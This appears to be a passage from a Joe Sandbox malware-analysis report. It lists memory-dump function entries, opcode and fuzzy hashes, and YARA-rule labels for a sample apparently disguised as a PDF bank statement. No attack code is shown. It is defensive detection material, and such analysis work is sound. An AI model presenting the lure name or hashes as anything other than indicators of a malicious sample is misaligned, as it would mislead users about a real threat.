                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 98dcd8c1624e591a33f39f76a12c8ec0602cc4737b6c8096addfdd648e03657e
                                                                                                                • Instruction ID: ee41a4a01b166ca7293422f35612f5acdb8574f0aaeaebe595351c7714471a08
                                                                                                                • Opcode Fuzzy Hash: 98dcd8c1624e591a33f39f76a12c8ec0602cc4737b6c8096addfdd648e03657e
                                                                                                                • Instruction Fuzzy Hash: 25019271B016159FDF189BB8E884B6EB7EAEFC9250B04846AD419C7355EBB0DC058BE0
                                                                                                                Function 05AB7EE0 Relevance: .1, Instructions: 51COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 56f5e9341d45abc18e20084a9e995d695fe4d2bb1e2de00da71ffd5df228b218
                                                                                                                • Instruction ID: 536e6884653f639868eff5e201e8d74d28a1348ee70b87498efaffa76fda50ee
                                                                                                                • Opcode Fuzzy Hash: 56f5e9341d45abc18e20084a9e995d695fe4d2bb1e2de00da71ffd5df228b218
                                                                                                                • Instruction Fuzzy Hash: 520124727007441BCB00B7B99410A6EB7D6EBC8360B80853EE00AD7381DFB0DC068BB6
                                                                                                                Function 00F20848 Relevance: .0, Instructions: 50COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2e0af3e02fb4e0ad20d70c457edb99bce4ac6208c09cbcc641bdf722f91187c0
                                                                                                                • Instruction ID: 7a8d13c360ba3b1b62094a3ee005c112b24431dde50041f9156f18e1e1ea5de2
                                                                                                                • Opcode Fuzzy Hash: 2e0af3e02fb4e0ad20d70c457edb99bce4ac6208c09cbcc641bdf722f91187c0
                                                                                                                • Instruction Fuzzy Hash: CD112A74E0020A9FCB04EFA9D8459AEBBB1FF89300F10846AD514A7351DB34AA01CF61
                                                                                                                Function 05AC7CC0 Relevance: .0, Instructions: 50COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 72ec57572d9eb503c64399bdb1a5ae1561e6c2549abfc592f8bfa36491fe923c
                                                                                                                • Instruction ID: 5b536f1f392a2a1fc194c32d3112055fbe19772b168798eb0e0333523df38caf
                                                                                                                • Opcode Fuzzy Hash: 72ec57572d9eb503c64399bdb1a5ae1561e6c2549abfc592f8bfa36491fe923c
                                                                                                                • Instruction Fuzzy Hash: B1015A353002049FC718DB39D998C6EBFEAEFC965036584A9E509CB761CE75EC028BA0
                                                                                                                Function 05AB4539 Relevance: .0, Instructions: 50COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ffd9632cc599c81511e54c0bddb83cf4d9851a2c54175178e578b68f02041204
                                                                                                                • Instruction ID: 60649267063d9aed1c95b625d0d9d162e871f861257f6999c4b35210b6f2128c
                                                                                                                • Opcode Fuzzy Hash: ffd9632cc599c81511e54c0bddb83cf4d9851a2c54175178e578b68f02041204
                                                                                                                • Instruction Fuzzy Hash: DCF0497270061007EF05A6B8A9606BE66CFAF88530B18067AE10EDB782DEB5CD0203E4
                                                                                                                Function 05ABB940 Relevance: .0, Instructions: 50COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 30656ab209af0b23e1e2a8468ff412c72669b21627e8a22a108088bc0f4f8841
                                                                                                                • Instruction ID: 60b42a493e49536ac12a3f90ed87664d18dafa1c6f4f0059f5508506243d82fc
                                                                                                                • Opcode Fuzzy Hash: 30656ab209af0b23e1e2a8468ff412c72669b21627e8a22a108088bc0f4f8841
                                                                                                                • Instruction Fuzzy Hash: A8018430A047448FE714EB74D490F6A7BA2EF41620F50C959E19A8B691CB70EC45CB61
                                                                                                                Function 05AC72A0 Relevance: .0, Instructions: 49COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0ef8594b8988219d81647c92189d1d6b8e3ed0e8f351e34a3b1509f5bb1ca0a9
                                                                                                                • Instruction ID: c1e7155ca96efff7e13ad1fdde9b34f90707cf2b1136988777b0656226a1dd1d
                                                                                                                • Opcode Fuzzy Hash: 0ef8594b8988219d81647c92189d1d6b8e3ed0e8f351e34a3b1509f5bb1ca0a9
                                                                                                                • Instruction Fuzzy Hash: A711FA75B002158FCB58EB68C558A9D7BF6FF88601F1000ADE402EB7A1DF759C42CBA1
                                                                                                                Function 05AB3D99 Relevance: .0, Instructions: 47COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 750b92872917aaaba23260e198d74e54902efa12acb6ee2f8a5df29218ef76eb
                                                                                                                • Instruction ID: d6a95cac1e459765ddb9207c40f456e08e89e5d243c51c12ed5e7664539131c7
                                                                                                                • Opcode Fuzzy Hash: 750b92872917aaaba23260e198d74e54902efa12acb6ee2f8a5df29218ef76eb
                                                                                                                • Instruction Fuzzy Hash: FB016971E002289FCF40DBA9D804AEEBBF6FF88311F50447AE009E7260D7348852CBA0
                                                                                                                Function 00F27B78 Relevance: .0, Instructions: 46COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 06d27a015baefbd177f3ffefa4e02c8e5e65f9acbc4ffaf1a41b0d7d9bc470be
                                                                                                                • Instruction ID: 476b526ea62df96fd499654ef20438c8d6e000c7d80b755a32d17cf4fd17954c
                                                                                                                • Opcode Fuzzy Hash: 06d27a015baefbd177f3ffefa4e02c8e5e65f9acbc4ffaf1a41b0d7d9bc470be
                                                                                                                • Instruction Fuzzy Hash: 8B0126307047866FD725A66EBC52A6FB7EAEBC5720B04402AE844C7340FE74EC108790
                                                                                                                Function 05AC36D8 Relevance: .0, Instructions: 46COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c2ed37e538c04e0da5787aaed7058b77279d020aad8c4ac80eef166e8a03a25c
                                                                                                                • Instruction ID: 9100ad125ae8737e699015cb1de7498de7076c31797829508a4d7b2319f06842
                                                                                                                • Opcode Fuzzy Hash: c2ed37e538c04e0da5787aaed7058b77279d020aad8c4ac80eef166e8a03a25c
                                                                                                                • Instruction Fuzzy Hash: 0B01C8353002255F8B45BB7DD46885EBBDBEFC9260310406DF90ADB3A6CE799C0287E1
                                                                                                                Function 00D6D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1559480850.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_d6d000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8fe9983063a383aa86def4e864f6677f12c759a7bca6a8cd3cc7d176e7f2e5dc
                                                                                                                • Instruction ID: 6397aa6a0ab04434f331f0ecb191513fc9a3210fb56df0a4ac6f6b8f33e3cd37
                                                                                                                • Opcode Fuzzy Hash: 8fe9983063a383aa86def4e864f6677f12c759a7bca6a8cd3cc7d176e7f2e5dc
                                                                                                                • Instruction Fuzzy Hash: 0601DB71A043809BEB204F25EC84B67BB9DDF91324F2CC15AED454F282C279D845CAB2
                                                                                                                Function 00D6D005 Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1559480850.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_d6d000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 47031391b1c91e6d663f493b2e4d79dd6af8ce04ca006ab2ae7e2f695708c853
                                                                                                                • Instruction ID: fdf397945c1a0decd1ece138384acce474ae4e3fd561c5bc7e0f6b37147daa99
                                                                                                                • Opcode Fuzzy Hash: 47031391b1c91e6d663f493b2e4d79dd6af8ce04ca006ab2ae7e2f695708c853
                                                                                                                • Instruction Fuzzy Hash: 95014C6150E3C05FD7128B259C94B52BFB8AF53225F1DC1DBD9888F2A3C2699C49CB72
                                                                                                                Function 05ABB730 Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 89d465850251ebbdd04725ec92f859c4cd53d2ff1e0e8a73733bd6bee4f36733
                                                                                                                • Instruction ID: 00087eab431f86f2bc21f32da67f17b00e52d3be3c26ffbf8c2acf39fa131c38
                                                                                                                • Opcode Fuzzy Hash: 89d465850251ebbdd04725ec92f859c4cd53d2ff1e0e8a73733bd6bee4f36733
                                                                                                                • Instruction Fuzzy Hash: 1301BC716007049FD719CF29D881E6BBBF9EFC8310B008469E4088B351DB31EC02CBA0
                                                                                                                Function 05AB1308 Relevance: .0, Instructions: 43COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 229fcc7110c748d4c9b64f830edefdc7601208b3d0ed3d28a2005feb78cc9470
                                                                                                                • Instruction ID: aff274cb627d01649f5378c95f1735834f7c2b4e737db667e6bab81cf75727f7
                                                                                                                • Opcode Fuzzy Hash: 229fcc7110c748d4c9b64f830edefdc7601208b3d0ed3d28a2005feb78cc9470
                                                                                                                • Instruction Fuzzy Hash: 2201D731E112599BEF54DBA4C864BEDBBB6BF4D310F000529E001BB2A1EB785D40CBA1
                                                                                                                Function 00F27B88 Relevance: .0, Instructions: 42COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 899f9120adcc5bd8ba0c259e277f435fe0451c3b08324b178744e8b6dd502c05
                                                                                                                • Instruction ID: f0a462ecbca65f553c98daacecad810d9c0bd512c335bc87a4dbccc34bc8c9ac
                                                                                                                • Opcode Fuzzy Hash: 899f9120adcc5bd8ba0c259e277f435fe0451c3b08324b178744e8b6dd502c05
                                                                                                                • Instruction Fuzzy Hash: AAF0F631704796AFDB24A66EFC41A6FB7EAEBC4720B048036E405C7340EE75EC014790
                                                                                                                Function 05AC63E0 Relevance: .0, Instructions: 41COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ae6f2f5712167efaed3148eadab6b667b2bb514db3141ebc097c5a97459d4be6
                                                                                                                • Instruction ID: 833d5c0f8f1d045ffc9dc395072cb2448679d679783036559f6621963def45fb
                                                                                                                • Opcode Fuzzy Hash: ae6f2f5712167efaed3148eadab6b667b2bb514db3141ebc097c5a97459d4be6
                                                                                                                • Instruction Fuzzy Hash: 82F028767001059FCB05DBA8DA95AAEBFB7FF88310F248075E605A7300EB318D169760
                                                                                                                Function 05ABB740 Relevance: .0, Instructions: 41COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c537265c0d7eb1beac75c8323654b3d42aabd9b4db0e53c923260f5f6377d6a6
                                                                                                                • Instruction ID: db4919de6b93d2ad70d3a4b6adfa2a0a1cae7f00b6cfad27ce03932dfb17f711
                                                                                                                • Opcode Fuzzy Hash: c537265c0d7eb1beac75c8323654b3d42aabd9b4db0e53c923260f5f6377d6a6
                                                                                                                • Instruction Fuzzy Hash: 400146756006059FD708DF6AE885A6ABBEAEFC82607108569E5198B351DB31EC02CBA0
                                                                                                                Function 00F2F930 Relevance: .0, Instructions: 40COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2083a492621a75bec5490d9ce322cbf63ce080e955c761790b00ac878b35935e
                                                                                                                • Instruction ID: 60c2cb0a184855c832bafa6897e1ef08d400e1bf0b1c787ac258b43a5274e441
                                                                                                                • Opcode Fuzzy Hash: 2083a492621a75bec5490d9ce322cbf63ce080e955c761790b00ac878b35935e
                                                                                                                • Instruction Fuzzy Hash: 4BF0C2313002106FC3149A599C9196BBB9ADFCA260B14806AED099B352DA36DC0687F1
                                                                                                                Function 00F2BE60 Relevance: .0, Instructions: 40COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b6ec13151b41bcc767561e8d4342750e8ef0211b9e85b9ce492990c5563be5ed
                                                                                                                • Instruction ID: 8f75165e362e07195f767e75109ff704e2e6d1e9a06fd4edb741e96184a8bb89
                                                                                                                • Opcode Fuzzy Hash: b6ec13151b41bcc767561e8d4342750e8ef0211b9e85b9ce492990c5563be5ed
                                                                                                                • Instruction Fuzzy Hash: EB01AF78B002118FDB04CF68D198A26B3F6EFCD35572A449AE848CB355DB30EC02CB40
                                                                                                                Function 05ABB059 Relevance: .0, Instructions: 40COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 86cb941a7d9a9807e323140ccd7415c50a47e4310d79dbfe352d27c35d1cddb6
                                                                                                                • Instruction ID: bcbec500ca91d73c701336e9f715e3c60d6db91c9a378620b5891635c4c3cf67
                                                                                                                • Opcode Fuzzy Hash: 86cb941a7d9a9807e323140ccd7415c50a47e4310d79dbfe352d27c35d1cddb6
                                                                                                                • Instruction Fuzzy Hash: 42F0B4723002186BDB009B6DDC85F6FBBBEEBC5651714062AF505C7350DB71AC0183B5
                                                                                                                Function 05ABE3F0 Relevance: .0, Instructions: 40COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 259561b5197352c68890487375e32036703651bc256caacbf75f6be3ca7383e6
                                                                                                                • Instruction ID: 29e9cf46605f14ae6fefc6faeca6452d703bb25baa7623c7ed9c24d2e7ec701e
                                                                                                                • Opcode Fuzzy Hash: 259561b5197352c68890487375e32036703651bc256caacbf75f6be3ca7383e6
                                                                                                                • Instruction Fuzzy Hash: 30F0C2323102045BDB10DA69E884E5EB7EDEB89264B04862AE51ACB351DAB1EC0287E1
                                                                                                                Function 05AB1290 Relevance: .0, Instructions: 39COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4bd44fe63298c9b04386f1a3bde0c9eee52d3a78d604c7d938392657dee906e0
                                                                                                                • Instruction ID: 53fe4c4432d9e44c6b59fdb9757c28d6e45ba802cd47cc609f82156101e3bb46
                                                                                                                • Opcode Fuzzy Hash: 4bd44fe63298c9b04386f1a3bde0c9eee52d3a78d604c7d938392657dee906e0
                                                                                                                • Instruction Fuzzy Hash: 7AF0F0727001505FE7148AA99894F2F7BA6FBC9350F1680A9E40ACB391CF20CC0287A0
                                                                                                                Function 00F2BE70 Relevance: .0, Instructions: 38COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4aabeda9474f165daa3121ac57642ebb85b9a4ef3dc773a16241833f07203074
                                                                                                                • Instruction ID: c6ee22bc6db23c4b30b9b9f354d9b9cdc99c2740ddfe9fc5ce16f8152828e53d
                                                                                                                • Opcode Fuzzy Hash: 4aabeda9474f165daa3121ac57642ebb85b9a4ef3dc773a16241833f07203074
                                                                                                                • Instruction Fuzzy Hash: 01F03A387002158F8B14DF69D488D2AB7F6EFCD3653298469E949CB351DB31EC02CB91
                                                                                                                Function 05AB9AC0 Relevance: .0, Instructions: 38COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a7844f06249b858cdce73c3fe782727ad291b0e435f875bf0fad91d27bba2ac8
                                                                                                                • Instruction ID: 22c8368619b20d9c3b8b50d645b9f011c22e22e6664ef6b4a00d02e447a1a2ff
                                                                                                                • Opcode Fuzzy Hash: a7844f06249b858cdce73c3fe782727ad291b0e435f875bf0fad91d27bba2ac8
                                                                                                                • Instruction Fuzzy Hash: A1F0C231A0424C9FD300EFA4A80797E7F78EB42351F0041A6FD098B250DE324C22C7A6
                                                                                                                Function 00F218CB Relevance: .0, Instructions: 37COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7e1a3fa56a4aaa46ee24b4bd2bffd0e12d21e00ed1bdfc911ab9ffa373111a1f
                                                                                                                • Instruction ID: a57127492c0feaba82df57ac34ed59f935af427a5e3202df1b339fe0e3e35c20
                                                                                                                • Opcode Fuzzy Hash: 7e1a3fa56a4aaa46ee24b4bd2bffd0e12d21e00ed1bdfc911ab9ffa373111a1f
                                                                                                                • Instruction Fuzzy Hash: 81F0F6313003545FD712AB7AE81056D37A6FFC6310300446AD456CB351DF24ED4487A6
                                                                                                                Function 05AC8178 Relevance: .0, Instructions: 37COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 14a726ffdb84ad232e7a96cb5faab9d057e9aa623ea2e1b6fd908bf14d7984ff
                                                                                                                • Instruction ID: e10c2e9ce3c636dad9191733df878967c8799e3771571a5ebf99f6b86381bd37
                                                                                                                • Opcode Fuzzy Hash: 14a726ffdb84ad232e7a96cb5faab9d057e9aa623ea2e1b6fd908bf14d7984ff
                                                                                                                • Instruction Fuzzy Hash: F7F05E323501105FC754A65AD899F5ABBDAEF89621F2440A9E609DB3A1CA60EC0286A5
                                                                                                                Function 05ABBA48 Relevance: .0, Instructions: 36COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5864880b924e1d89f3dba619062503e6cbf6db2a4fd5d4df7ea15f7c1bc611b1
                                                                                                                • Instruction ID: c5fb0f27d708ad277a0e0665d29371c9f3769b5557cc5a8161ca530343ba1369
                                                                                                                • Opcode Fuzzy Hash: 5864880b924e1d89f3dba619062503e6cbf6db2a4fd5d4df7ea15f7c1bc611b1
                                                                                                                • Instruction Fuzzy Hash: 4DF0F0347002556FD304EB19E885E5EFBE6EB88361B0584AAE049DB352DB71AC02CBB0
                                                                                                                Function 00F24632 Relevance: .0, Instructions: 35COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0ef5cce5e9317de223e7706946fc6bcba246c62884b17be5310fb9680517abcd
                                                                                                                • Instruction ID: b6886a209bfbff048b6ebfa4b3d0b2b19d33fc068f42f4979f9a7500e3c08981
                                                                                                                • Opcode Fuzzy Hash: 0ef5cce5e9317de223e7706946fc6bcba246c62884b17be5310fb9680517abcd
                                                                                                                • Instruction Fuzzy Hash: E301A270600399DFDB21DB58E154BADBFB2FB45318F244188D0059B391CBB6ED8ADB91
                                                                                                                Function 05AB12A0 Relevance: .0, Instructions: 35COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
